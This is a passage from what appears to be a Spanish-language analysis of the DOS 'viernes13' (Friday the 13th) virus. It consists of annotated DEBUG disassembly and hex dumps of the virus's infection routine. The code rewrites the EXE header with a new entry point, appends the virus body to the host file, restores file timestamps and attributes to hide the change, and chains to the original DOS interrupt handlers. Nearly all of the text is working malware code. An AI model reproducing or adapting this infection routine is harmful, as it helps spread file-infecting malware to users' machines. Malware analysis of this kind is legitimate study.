31AE:0526 050F00        ADD     AX,000F
31AE:0529 83D200        ADC     DX,+00
31AE:052C 25F0FF        AND     AX,FFF0
31AE:052F A37C00        MOV     [007C],AX
31AE:0532 89167E00      MOV     [007E],DX
31AE:0536 051007        ADD     AX,0710
31AE:0539 83D200        ADC     DX,+00
31AE:053C 723A          JB      0578
31AE:053E F7367800      DIV     WORD PTR [0078];dividir por 200h
31AE:0542 0BD2          OR      DX,DX
31AE:0544 7401          JZ      0547
31AE:0546 40            INC     AX
31AE:0547 A35300        MOV     [0053],AX
31AE:054A 89165100      MOV     [0051],DX
31AE:054E A17C00        MOV     AX,[007C]
31AE:0551 8B167E00      MOV     DX,[007E]
31AE:0555 F7367A00      DIV     WORD PTR [007A]
31AE:0559 2B065700      SUB     AX,[0057]
31AE:055D A36500        MOV     [0065],AX      ;guardar la direccion
                                               ;segmento del punto de
                                               ;entrada a viernes13
                                               ;en archivo tipo EXE
31AE:0560 C7066300C500  MOV     WORD PTR [0063],00C5;00C5 es el punto de
                                               ;entrada a viernes13 cuando
                                               ;esta instalado en un
                                               ;archivo del tipo EXE
31AE:0566 A35D00        MOV     [005D],AX
31AE:0569 C7065F001007  MOV     WORD PTR [005F],0710
31AE:056F 33C9          XOR     CX,CX
31AE:0571 8BD1          MOV     DX,CX
31AE:0573 B80042        MOV     AX,4200
31AE:0576 CD21          INT     21
31AE:0578 720A          JB      0584
31AE:057A B91C00        MOV     CX,001C
31AE:057D BA4F00        MOV     DX,004F
31AE:0580 B440          MOV     AH,40
31AE:0582 CD21          INT     21
31AE:0584 7211          JB      0597
31AE:0586 3BC1          CMP     AX,CX
31AE:0588 7518          JNZ     05A2
31AE:058A 8B167C00      MOV     DX,[007C]
31AE:058E 8B0E7E00      MOV     CX,[007E]
31AE:0592 B80042        MOV     AX,4200
31AE:0595 CD21          INT     21
31AE:0597 7209          JB      05A2
31AE:0599 33D2          XOR     DX,DX
31AE:059B B91007        MOV     CX,0710
31AE:059E B440          MOV     AH,40
31AE:05A0 CD21          INT     21
31AE:05A2 2E            CS:
31AE:05A3 833E8F0000    CMP     WORD PTR [008F],+00
31AE:05A8 7404          JZ      05AE
31AE:05AA B449          MOV     AH,49
31AE:05AC CD21          INT     21
31AE:05AE 2E            CS:
```

redondeo

guardar tamaño con redondeo

tamaño con el virus adosado

restar el tamaño de la cabecera de EXE

poner el puntero del archivo apuntando al principio de este

grabar la cabecera del archivo EXE con los valores cambiados

poner el puntero del archivo señalando al final del contenido de EXE original

añadir el código del virus al final del EXE original

liberar el bloque de memoria apuntado por ES

```
31AE:05AF 833E7000FF      CMP     WORD PTR [0070],-01
31AE:05B4 7431            JZ      05E7
31AE:05B6 2E              CS:
31AE:05B7 8B1E7000        MOV     BX,[0070]
31AE:05BB 2E              CS:
31AE:05BC 8B167400        MOV     DX,[0074]
31AE:05C0 2E              CS:
31AE:05C1 8B0E7600        MOV     CX,[0076]
31AE:05C5 B80157          MOV     AX,5701
31AE:05C8 CD21            INT     21
31AE:05CA B43E            MOV     AH,3E
31AE:05CC CD21            INT     21
31AE:05CE 2E              CS:
31AE:05CF C5168000        LDS     DX,[0080]
31AE:05D3 2E              CS:
31AE:05D4 8B0E7200        MOV     CX,[0072]
31AE:05D8 B80143          MOV     AX,4301
31AE:05DB CD21            INT     21
31AE:05DD 2E              CS:
31AE:05DE C5161B00        LDS     DX,[001B]
31AE:05E2 B82425          MOV     AX,2524
31AE:05E5 CD21            INT     21
31AE:05E7 07              POP     ES
31AE:05E8 1F              POP     DS
31AE:05E9 5F              POP     DI
31AE:05EA 5E              POP     SI
31AE:05EB 5A              POP     DX
31AE:05EC 59              POP     CX
31AE:05ED 5B              POP     BX
31AE:05EE 58              POP     AX
31AE:05EF 9D              POPF
31AE:05F0 2E              CS:
31AE:05F1 FF2E1700        JMP     FAR [0017]

-31AE:00CC 2E              CS:
31AE:00CD 8C063900        MOV     [0039],ES
31AE:00D1 2E              CS:
31AE:00D2 8C063D00        MOV     [003D],ES
-d31ae:05f5
31AE:05F0                                00 00 00-00 00 00 00 00 00 00 00    ..........
31AE:0600  4D 8E 25 07 00 00 00 00-00 00 00 00 00 00 00 00  M.%.............
31AE:0610  43 4F 4D 53 50 45 43 3D-43 3A 5C 43 4F 4D 4D 41  COMSPEC=C:\COMMA
31AE:0620  4E 44 2E 43 4F 4D 00 50-41 54 48 3D 43 3A 5C 44  ND.COM.PATH=C:\D
31AE:0630  4F 53 3B 43 3A 5C 50 43-54 4F 4F 4C 53 3B 43 3A  OS;C:\PCTOOLS;C:
31AE:0640  5C 44 4F 53 5C 55 54 49-4C 45 53 3B 00 50 52 4F  \DOS\UTILES;.PRO
31AE:0650  4D 50 54 3D 24 65 5B 33-32 6D 24 70 5C 24 65 5B  MPT=$e[32m$p\$e[
31AE:0660  30 6D 00 00 01 00 43 3A-5C 52 41 54 4F 4E 5C 51  0m....C:\RATON\Q
31AE:0670  4D 4F 55 53 45                                   MOUSE
-d
31AE:0670                                2E 43 4F 4D 00 00 63 6B 20 90 FF    .COM..ck ..
31AE:0680  4D D9 27 07 00 12 40 80-00 02 10 00 30 6E 01 00  M.'...@.....On..
31AE:0690  43 4F 4D 53 50 45 43 3D-43 3A 5C 43 4F 4D 4D 41  COMSPEC=C:\COMMA
31AE:06A0  4E 44 2E 43 4F 4D 00 50-41 54 48 3D 43 3A 5C 44  ND.COM.PATH=C:\D
31AE:06B0  4F 53 3B 43 3A 5C 50 43-54 4F 4F 4C 53 3B 43 3A  OS;C:\PCTOOLS;C:
31AE:06C0  5C 44 4F 53 5C 55 54 49-4C 45 53 3B 00 50 52 4F  \DOS\UTILES;.PRO
31AE:06D0  4D 50 54 3D 24 65 5B 33-32 6D 24 70 5C 24 65 5B  MPT=$e[32m$p\$e[
31AE:06E0  30 6D 00 00 01 00 43 3A-5C 50 43 54 4F 4F 4C 53  0m....C:\PCTOOLS
31AE:06F0  5C 50 43 2D 43                                   \PC-C
-d
31AE:06F0                                41 43 48-45 2E 43 4F 4D 00 02 02    ACHE.COM...
```

;handle del archivo

;fecha original del archivo

;hora original del archivo

; grabar fecha y hora originales

} cerrar el archivo

; DS:DX apuntando al nombre de archivo

;atributos de fichero originales

} restaurar la int24 original.

;saltar a la int21 original

```
31AE:0700  4D 50 23 06 00 03 00 00-00 00 C6 00 AE 31 DF 28   MP#..........1.(
31AE:0710  74 65 8B 1F 8B 77 2E 33-C9 FF 77 2C FF 77 2A 51   te...w.3..w,.w*Q
31AE:0720  FF 76 10 FF 76 0E FF 76-0C FF 76 0A FF 76 08 FF   .v..v..v..v..v..
31AE:0730  76 06 FF 5C 10 8B 5E 12-8B 1F 8B 5F 32 F7 47 26   v..\..^...._2.G&
31AE:0740  00 01 74 33 50 FF 74 7A-9A 6A 08 A5 02 8E C2 8B   ..t3P.tz.j......
31AE:0750  D8 26 8B 07 33 C9 83 C3-06 51 50 06 53 FF 5C 54   .&..3....QP.S.\T
31AE:0760  FF 74 7A 9A 7D 08 A5 02-C7 06 CC 03 00 00 FF 76   .tz.}..........v
31AE:0770  12 9A 35 0E 9D                                    ..5..
-
-d31ae:0000
31AE:0000  E9 92 00 73 55 4D 73 44-6F 73 00 01 D9 27 00 00   ...sUMsDos...'..
31AE:0010  00 E9 50 AA 00 FB 20 62-14 6B 02 56 05 C9 21 EC   ..P... b.k.V..!.
31AE:0020  72 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   r...............
31AE:0030  00 C8 22 80 00 00 00 80-00 C8 22 5C 00 C8 22 6C   .."........"\.."l
31AE:0040  00 C8 22 80 00 D1 0A 12-00 D5 04 00 F0 06 01 4D   .."............M
31AE:0050  5A 00 00 2C 00 00 00 20-00 EA 05 FF FF EF 04 10   Z..,... ........
31AE:0060  07 84 19 C5 00 EF 04 22-00 00 00 00 00 00 00 00   ........"........
31AE:0070  05 00 20 00 A4 14 00 00-00 02 10 00 F0 50 00 00   .. ..........P..
31AE:0080  49 43 11 9B 43 4F 4D 4D-41 4E 44 2E 43 4F 4D 00   IC..COMMAND.COM.
31AE:0090  00 00 00 00 00 FC B4 E0-CD 21 80 FC E0 73 16 80   .........!...s..
31AE:00A0  FC 03 72 11 B4 DD BF 00-01 BE 10 07 03 F7 2E 8B   ..r.............
31AE:00B0  8D 11 00 CD 21 8C C8 05-10 00 8E D0 BC 00 07 50   ....!..........P
31AE:00C0  B8 C5 00 50 CB FC 06 2E-8C 06 31 00 2E 8C 06 39   ...P......1....9
31AE:00D0  00 2E 8C 06 3D 00 2E 8C-06 41 00 8C C0 05 10 00   ....=....A......
31AE:00E0  2E 01 06 49 00 2E 01 06-45 00 B4 E0 CD 21 80 FC   ...I....E....!..
31AE:00F0  E0 73 13 80 FC 03 07 2E-8E 16 45 00 2E 8B 26 43   .s........E...&C
-d
31AE:0100  00 2E FF 2E 47 00 33 C0-8E C0 26 A1 FC 03 2E A3   ....G.3...&.....
31AE:0110  4B 00 26 A0 FE 03 2E A2-4D 00 26 C7 06 FC 03 F3   K.&.....M.&.....
31AE:0120  A5 26 C6 06 FE 03 CB 58-05 10 00 8E C0 0E 1F B9   .&.....X........
31AE:0130  10 07 D1 E9 33 F6 8B FE-06 B8 42 01 50 EA FC 03   ....3.....B.P...
31AE:0140  00 00 8C C8 8E D0 BC 00-07 33 C0 8E D8 2E A1 4B   .........3.....K
31AE:0150  00 A3 FC 03 2E A0 4D 00-A2 FE 03 8B DC B1 04 D3   ......M.........
31AE:0160  EB 83 C3 10 2E 89 1E 33-00 B4 4A 2E 8E 06 31 00   .......3..J...1.
31AE:0170  CD 21 B8 21 35 CD 21 2E-89 1E 17 00 2E 8C 06 19   .!.!5.!.........
31AE:0180  00 0E 1F BA 5B 02 B8 21-25 CD 21 8E 06 31 00 26   ....[..!%.!..1.&
31AE:0190  8E 06 2C 00 33 FF B9 FF-7F 32 C0 F2 AE 26 38 05   ..,.3....2...&8.
31AE:01A0  E0 F9 8B D7 83 C2 03 B8-00 4B 06 1F 0E 07 BB 35   .........K.....5
31AE:01B0  00 1E 06 50 53 51 52 B4-2A CD 21 2E C6 06 0E 00   ...PSQR.*.!.....
31AE:01C0  00 81 F9 C3 07 74 30 3C-05 75 0D 80 FA 0D 75 08   .....t0<.u....u.
31AE:01D0  2E FE 06 0E 00 EB 20 90-B8 08 35 CD 21 2E 89 1E   ...... ...5.!...
31AE:01E0  13 00 2E 8C 06 15 00 0E-1F C7 06 1F 00 90 7E B8   ..............~.
31AE:01F0  08 25 BA 1E 02 CD 21 5A-59 5B 58 07 1F 9C 2E FF   .%....!ZY[X.....


-d0000:03fc
0000:03F0                                       00 F0 02 00                ....
0000:0400  F8 03 00 00 00 00 00 00-78 03 00 00 00 00 00 00   ........x.......
0000:0410  61 42 FF 80 02 00 00 20-00 00 20 00 20 00 0D 1C   aB..... .. . ....
0000:0420  0D 1C 75 16 0D 1C 75 16-0D 1C 64 20 30 0B 30 0B   ..u...u...d 0.0.
0000:0430  30 0B 30 0B 3A 34 30 0B-33 04 66 21 63 2E 01 00   0.0.:40.3.f!c...
0000:0440  61 00 00 00 00 4F 00 09-02 03 50 00 00 10 00 00   a....O....P.....
0000:0450  00 18 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
0000:0460  07 06 00 D4 03 29 30 60-21 86 1B FF E7 9B 0F 00   .....)0`!.......
0000:0470  00 00 00 00 00 01 00 00-14 14 14 14              ............

-
```